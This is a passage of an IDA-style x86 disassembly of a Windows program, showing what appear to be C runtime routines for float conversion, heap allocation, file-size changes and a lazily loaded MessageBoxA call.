; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------


loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx


loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2


loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx


loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------


loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h


loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------


loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx


loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax


loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D7F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D810
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------


loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx


loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]


loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8


loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------


loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]


loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------


loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h


loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBFB8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DBFE0, eax
		add	esp, 18h
		movsx	eax, byte_4DBFBA
		mov	dword_4DBFD8, eax
		pop	edi
		movsx	eax, word_4DBFB8
		mov	dword_4DBFDC, eax
		mov	dword_4DBFE4, offset dword_4DBFBC
		mov	eax, offset dword_4DBFD8
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: ___:0043D438o
					; ___:0043DB78o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------


loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DBFE8
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DBFE8
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------


loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax


loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp

; ---------------------------------------------------------------------------
word_424F62	dw 1C68h		; DATA XREF: ___:00429024o
; ---------------------------------------------------------------------------
		dec	edi
		inc	edx
		add	[eax+1DB5BFE8h], dl
		add	ah, byte ptr dword_4DBFE8[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424F73	db 0FFh			; DATA XREF: ___:0042903Co
		dd 4DBFE835h, 0B5AEE800h, 0C390021Dh

; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi


loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 26707DEh
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi


loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25F0B22h
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi


loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC


loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: ___:004236A6p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD261[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CE82[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------


loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax


loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------


loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBFEC, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26D0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBFEC, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBFF0, eax
		call	esi
		mov	dword_4DBFF4, eax


loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DBFF0
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DBFF4
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax


loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBFEC


loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi


loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD380
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------


loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CE74
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C


loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD384
		nop
		call	near ptr 27E0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156


loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE48, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]


loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi


loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------


loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3


loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD020, esi
		jle	short loc_4251B6


loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi


loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC01C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC01C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_425172


loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD140
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70


loc_425240:				; DATA XREF: ___:off_438CB8o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi


loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBDE0, 5
		jnz	short loc_42528D
		mov	dword_4DBDDC, 0Dh


loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh


loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		call	near ptr 25F0000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBDDC, 0Dh
		nop
		call	near ptr 26A0E98h
		mov	dword_4DBDE0, eax


loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------


loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBDDC, 9


loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh


loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A


loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax


loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]


loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]


loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
